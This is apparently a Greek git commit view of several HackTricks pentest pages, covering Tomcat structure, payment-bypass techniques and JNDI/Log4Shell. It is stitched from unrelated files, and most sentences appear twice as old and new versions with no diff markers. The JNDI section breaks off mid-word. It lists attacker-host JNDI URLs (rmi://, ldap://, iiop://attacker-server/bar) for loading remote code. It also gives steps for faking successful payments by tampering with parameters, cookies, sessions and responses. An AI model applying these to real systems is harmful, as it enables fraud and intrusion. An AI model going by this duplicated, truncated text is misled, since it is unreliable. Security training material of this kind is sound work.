Για να μην εκτελείται το Tomcat με δικαιώματα root, μια πολύ συνηθισμένη ρύθμιση είναι να οριστεί ένας διακομιστής Apache στη θύρα 80/443 και, εάν το αιτούμενο μονοπάτι ταιριάζει με έναν τυπικό εκφρασμένο όρο, το αίτημα στέλνεται στο Tomcat που τρέχει σε διαφορετική θύρα.
### Προεπιλεγμένη Δομή
```
@ -43,7 +51,7 @@
```
* Ο φάκελος `bin` αποθηκεύει scripts και δυαδικά αρχεία που χρειάζονται για την εκκίνηση και λειτουργία ενός διακομιστή Tomcat.
* Ο φάκελος `conf` αποθηκεύει διάφορα αρχεία ρυθμίσεων που χρησιμοποιούνται από το Tomcat.
* Το αρχείο `tomcat-users.xml` αποθηκεύει τα διαπιστευτήρια χρήστη και τους ρόλους που τους έχουν ανατεθεί.
* Το αρχείο `tomcat-users.xml` αποθηκεύει τα διαπιστευτήρια των χρηστών και τους ρόλους που τους έχουν ανατεθεί.
* Ο φάκελος `lib` περιέχει τα διάφορα αρχεία JAR που χρειάζονται για τη σωστή λειτουργία του Tomcat.
* Οι φάκελοι `logs` και `temp` αποθηκεύουν προσωρινά αρχεία καταγραφής.
* Ο φάκελος `webapps` είναι η προεπιλεγμένη ρίζα του Tomcat και φιλοξενεί όλες τις εφαρμογές. Ο φάκελος `work` λειτουργεί ως cache και χρησιμοποιείται για την αποθήκευση δεδομένων κατά τη διάρκεια της εκτέλεσης.
@ -86,11 +94,11 @@ webapps/customapp
</servlet-mapping>
</web-app>
```
Η διαμόρφωση `web.xml` παραπάνω ορίζει ένα **νέο servlet με το όνομα `AdminServlet`** που αντιστοιχίζεται στη **κλάση `com.inlanefreight.api.AdminServlet`**. Η Java χρησιμοποιεί την τελεία για να δημιουργήσει ονόματα πακέτων, πράγμα που σημαίνει ότι η διαδρομή στο δίσκο για την παραπάνω κλάση θα είναι:
Η διαμόρφωση του `web.xml` παραπάνω ορίζει ένα **νέο servlet με το όνομα `AdminServlet`** που αντιστοιχεί στη **κλάση `com.inlanefreight.api.AdminServlet`**. Η Java χρησιμοποιεί την τελεία για να δημιουργήσει ονόματα πακέτων, πράγμα που σημαίνει ότι η διαδρομή στο δίσκο για την παραπάνω κλάση θα είναι:
* **`classes/com/inlanefreight/api/AdminServlet.class`**
Στη συνέχεια, δημιουργείται μια νέα αντιστοίχιση servlet για να **αντιστοιχίσει τις αιτήσεις στο `/admin` με το `AdminServlet`**. Αυτή η διαμόρφωση θα στέλνει οποιαδήποτε αίτηση ληφθεί για το **`/admin` στην κλάση `AdminServlet.class`** για επεξεργασία. Το αρχείο **`web.xml`** περιέχει πολλές **ευαίσθητες πληροφορίες** και είναι ένα σημαντικό αρχείο για έλεγχο όταν εκμεταλλεύεστε μια **ευπάθεια τοπικής συμπερίληψης αρχείου (LFI)**.
Στη συνέχεια, δημιουργείται μια νέα αντιστοίχιση servlet για να **αντιστοιχίσει τις αιτήσεις στο `/admin` με το `AdminServlet`**. Αυτή η διαμόρφωση θα στέλνει οποιαδήποτε αίτηση ληφθεί για το **`/admin` στην κλάση `AdminServlet.class`** για επεξεργασία. Το αρχείο **`web.xml`** περιέχει πολλές **ευαίσθητες πληροφορίες** και είναι ένα σημαντικό αρχείο για έλεγχο κατά την εκμετάλλευση μιας **ευπάθειας τοπικής συμπερίληψης αρχείου (LFI)**.
### tomcat-users
@ -135,20 +143,26 @@ will also need to set the passwords to something appropriate.
</tomcat-users>
```
Το αρχείο μας δείχνει ποιες πρόσβαση παρέχουν οι ρόλοι `manager-gui`, `manager-script`, `manager-jmx` και `manager-status`. Σε αυτό το παράδειγμα, βλέπουμε ότι ένας χρήστης `tomcat` με κωδικό πρόσβασης `tomcat` έχει τον ρόλο `manager-gui`, και ένας δεύτερος αδύναμος κωδικός `admin` έχει οριστεί για τον λογαριασμό χρήστη `admin`.
Το αρχείο μας δείχνει ποιες πρόσβαση παρέχουν οι ρόλοι `manager-gui`, `manager-script`, `manager-jmx` και `manager-status`. Σε αυτό το παράδειγμα, βλέπουμε ότι ένας χρήστης με όνομα `tomcat` και κωδικό `tomcat` έχει τον ρόλο `manager-gui`, και ένας δεύτερος αδύναμος κωδικός `admin` έχει οριστεί για τον λογαριασμό χρήστη `admin`.
## Αναφορές
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,45 +2,72 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Τεχνικές Παράκαμψης Πληρωμής
### Διακοπή Αιτήσεων
Κατά τη διαδικασία συναλλαγής, είναι κρίσιμο να παρακολουθείτε τα δεδομένα που ανταλλάσσονται μεταξύ του πελάτη και του διακομιστή. Αυτό μπορεί να γίνει με τη διακοπή όλων των αιτήσεων. Μέσα σε αυτές τις αιτήσεις, πρέπει να παρατηρήσετε παραμέτρους με σημαντικές επιπτώσεις, όπως:
Κατά τη διαδικασία συναλλαγής, είναι κρίσιμο να παρακολουθείτε τα δεδομένα που ανταλλάσσονται μεταξύ του πελάτη και του διακομιστή. Αυτό μπορεί να γίνει με τη διακοπή όλων των αιτήσεων. Μέσα σε αυτές τις αιτήσεις, πρέπει να προσέξετε τις παραμέτρους με σημαντικές επιπτώσεις, όπως:
- **Επιτυχία**: Αυτή η παράμετρος συχνά υποδηλώνει την κατάσταση της συναλλαγής.
- **Αναφέρων**: Μπορεί να δείχνει την πηγή από όπου προήλθε η αίτηση.
- **Κλήση Επιστροφής**: Χρησιμοποιείται συνήθως για την ανακατεύθυνση του χρήστη μετά την ολοκλήρωση μιας συναλλαγής.
### Ανάλυση URL
Αν συναντήσετε μια παράμετρο που περιέχει ένα URL, ειδικά ένα που ακολουθεί το πρότυπο _example.com/payment/MD5HASH_, απαιτεί πιο προσεκτική εξέταση. Εδώ υπάρχει μια προσέγγιση βήμα προς βήμα:
Αν συναντήσετε μια παράμετρο που περιέχει ένα URL, ειδικά ένα που ακολουθεί το πρότυπο _example.com/payment/MD5HASH_, απαιτεί πιο προσεκτική εξέταση. Ακολουθήστε έναν προσεκτικό προσεγγιστικό τρόπο:
1. **Αντιγραφή του URL**: Εξαγάγετε το URL από την τιμή της παραμέτρου.
2. **Επιθεώρηση σε Νέο Παράθυρο**: Ανοίξτε το αντιγραμμένο URL σε ένα νέο παράθυρο περιήγησης. Αυτή η ενέργεια είναι κρίσιμη για την κατανόηση του αποτελέσματος της συναλλαγής.
1. **Αντιγραφή του URL**: Εξάγετε το URL από την τιμή της παραμέτρου.
2. **Επιθεώρηση σε Νέο Παράθυρο**: Ανοίξτε το αντιγραμμένο URL σε ένα νέο παράθυρο προγράμματος περιήγησης. Αυτή η ενέργεια είναι κρίσιμη για την κατανόηση του αποτελέσματος της συναλλαγής.
### Αλλαγή Τιμών Παραμέτρων
1. **Αλλαγή Τιμών Παραμέτρων**: Δοκιμάστε να αλλάξετε τις τιμές των παραμέτρων όπως _Επιτυχία_, _Αναφέρων_ ή _Κλήση Επιστροφής_. Για παράδειγμα, η αλλαγή μιας παραμέτρου από `false` σε `true` μπορεί μερικές φορές να αποκαλύψει πώς το σύστημα χειρίζεται αυτές τις εισόδους.
2. **Αφαίρεση Παραμέτρων**: Δοκιμάστε να αφαιρέσετε ορισμένες παραμέτρους εντελώς για να δείτε πώς αντιδρά το σύστημα. Κάποια συστήματα ενδέχεται να έχουν εναλλακτικές λειτουργίες ή προεπιλεγμένες συμπεριφορές όταν λείπουν αναμενόμενες παράμετροι.
### Παρεμβολή Cookies
1. **Εξέταση Cookies**: Πολλές ιστοσελίδες αποθηκεύουν σημαντικές πληροφορίες σε cookies. Ελέγξτε αυτά τα cookies για οποιαδήποτε δεδομένα που σχετίζονται με την κατάσταση πληρωμής ή την ταυτοποίηση χρήστη.
1. **Εξέταση Cookies**: Πολλές ιστοσελίδες αποθηκεύουν σημαντικές πληροφορίες σε cookies. Ελέγξτε αυτά τα cookies για οποιαδήποτε δεδομένα σχετικά με την κατάσταση πληρωμής ή την ταυτοποίηση χρήστη.
2. **Τροποποίηση Τιμών Cookies**: Αλλάξτε τις τιμές που αποθηκεύονται στα cookies και παρατηρήστε πώς αλλάζει η απόκριση ή η συμπεριφορά της ιστοσελίδας.
### Απαγωγή Συνεδρίας
1. **Διακριτικά Συνεδρίας**: Αν χρησιμοποιούνται διακριτικά συνεδρίας στη διαδικασία πληρωμής, δοκιμάστε να τα αιχμαλωτίσετε και να τα τροποποιήσετε. Αυτό ενδέχεται να δώσει εισαγωγές σε ευπάθειες διαχείρισης συνεδριών.
1. **Διακριτικά Συνεδρίας**: Αν χρησιμοποιούνται διακριτικά συνεδρίας στη διαδικασία πληρωμής, δοκιμάστε να τα καταγράψετε και να τα τροποποιήσετε. Αυτό μπορεί να δώσει εισαγωγές σε ευπάθειες διαχείρισης συνεδριών.
### Παρεμβολή Απόκρισης
1. **Διακοπή Αποκρίσεων**: Χρησιμοποιήστε εργαλεία για να διακόψετε και να αναλύσετε τις αποκρίσεις από τον διακομιστή. Αναζητήστε οποιαδήποτε δεδομένα που μπορεί να υποδηλώνουν μια επιτυχημένη συναλλαγή ή να αποκαλύψουν τα επόμενα βήματα στη διαδικασία πληρωμής.
2. **Τροποποίηση Αποκρίσεων**: Προσπαθήστε να τροποποιήσετε τις αποκρίσεις πριν επεξεργαστούν από τον περιηγητή ή την εφαρμογή για να προσομοιώσετε ένα σενάριο επιτυχούς συναλλαγής.
1. **Διακοπή Απαντήσεων**: Χρησιμοποιήστε εργαλεία για να διακόψετε και να αναλύσετε τις απαντήσεις από τον διακομιστή. Αναζητήστε οποιαδήποτε δεδομένα που μπορεί να υποδηλώνουν μια επιτυχημένη συναλλαγή ή να αποκαλύψουν τα επόμενα βήματα στη διαδικασία πληρωμής.
2. **Τροποποίηση Απαντήσεων**: Προσπαθήστε να τροποποιήσετε τις απαντήσεις πριν επεξεργαστούν από τον περιηγητή ή την εφαρμογή για να προσομοιώσετε ένα σενάριο επιτυχούς συναλλαγής.
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -9,37 +9,45 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Συνήθεις SPIs περιλαμβάνουν το CORBA COS, το Μητρώο Java RMI και το LDAP.
Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Συνήθεις SPIs περιλαμβάνουν το CORBA COS, το Java RMI Registry και το LDAP.
### Αναφορά Ονοματολογίας JNDI
Τα αντικείμενα Java μπορούν να αποθηκεύονται και ανακτώνται χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έρχονται σε δύο μορφές:
* **Διευθύνσεις Αναφοράς**: Καθορίζουν την τοποθεσία ενός αντικειμένου (π.χ., _rmi://server/ref_), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση.
* **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκκίνησης από την απομακρυσμένη τοποθεσία.
* **Απομακρυσμένο Εργοστάσιο**: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκτέλεσης από την απομακρυσμένη τοποθεσία.
Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, με δυνητική εκτέλεση και φόρτωση αυθαίρετου κώδικα. Ως αντίμετρο:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` από προεπιλογή από JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω το τι μπορεί να φορτωθεί.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` από προεπιλογή από JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω τι μπορεί να φορτωθεί.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` από προεπιλογή από JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων αντικειμένων Java. Εάν οριστεί σε `true`, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς επίβλεψη Διαχειριστή Ασφαλείας.
* **CORBA**: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Διαχειριστής Ασφαλείας είναι πάντα ενεργός.
Ωστόσο, ο **Διαχειριστής Ονοματολογίας**, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με την πιθανότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Ωστόσο, ο **Διαχειριστής Ονοματολογίας**, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με δυνητική δυνατότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.
Παραδείγματα εκμεταλλεύσιμων διευθύνσεων URL περιλαμβάνουν:
Παραδείγματα εκμετάλλευσης διευθύνσεων URL περιλαμβάνουν:
* _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
Παρά τις προστασίες, παραμένουν ευπαθείς σημεία, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης των υπαρχουσών προστασιών.
Παρά τις προστασίες, παραμένουν ευπάθειες, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης των υπαρχουσών προστασιών.
### Παράδειγμα JNDI
@ -49,12 +57,12 @@
### Επισκόπηση CORBA
Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα **Αντισταθμίσιμο Αναφοράς Αντικειμένου (IOR)** για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα **Interoperable Object Reference (IOR)** για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:
* **Αναγνωριστικό Τύπου**: Μοναδικό αναγνωριστικό για μια διεπαφή.
* **Βάση Κώδικα**: URL για την απόκτηση της κλάσης stub.
Σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από μόνο του. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
Σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από φύσης. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
* Εγκατάσταση ενός **Διαχειριστή Ασφαλείας**.
* Ρύθμιση του Διαχειριστή Ασφαλείας για να επιτρέπει συνδέσεις σε πιθανώς κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
@ -65,17 +73,17 @@
### Περιβάλλον RMI
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.
Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κάποιος το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.
### LDAP
Καταρχάς, πρέπει να διακρίνουμε μεταξύ Αναζήτησης και Αναζήτησης.\
Μια **αναζήτηση** θα χρησιμοποιήσει ένα URL όπως `ldap://localhost:389/o=JNDIT
Μια **αναζήτηση** θα χρησιμοποιήσει ένα URL όπ
## Επισκόπηση των CVEs που σχετίζονται με το Log4Shell
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Κρίσιμο]**
Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα **μη αξιόπιστης απεικονιοποίησης** στο στοιχείο `log4j-core`, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση κώδικα από απόσταση (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα **μη αξιόπιστης απεικονιοποίησης** στο στοιχείο `log4j-core`, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την **εκτέλεση κώδικα απομακρυσμένα (RCE)**, επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαίσια Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι ([Κανόνας 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Κανόνας 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Κρίσιμο]**
@ -83,7 +91,7 @@
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Υψηλό]**
Επηρεάζοντας τις **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις χρησιμοποιώντας το `JMSAppender`, αυτό το CVE είναι ένα σφάλμα μη αξιόπιστης απεικονιοποίησης. Δεν υπάρχει διόρθωση για το κλαδί 1.x, το οποίο έχει φτάσει στο τέλος της ζωής του, και συνιστάται η αναβάθμιση στο `log4j-core 2.17.0`.
Επηρεάζοντας τις **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις χρησιμοποιώντας το `JMSAppender`, αυτό το CVE είναι ένα σφάλμα μη αξιόπιστης απεικονιοποίησης. Δεν υπάρχει διόρθωση διαθέσιμη για το κλαδί 1.x, το οποίο έχει φτάσει στο τέλος της ζωής του, και συνιστάται η αναβάθμιση στο `log4j-core 2.17.0`.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Μέτριο]**
@ -95,7 +103,7 @@
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Επηρεάζοντας την έκδοση log4j 2.17, αυτό το CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρυθμίσεων του log4j. Περιλαμβάνει την πιθανή εκτέλεση αυθαίρετου κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση ιστολογίου της [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
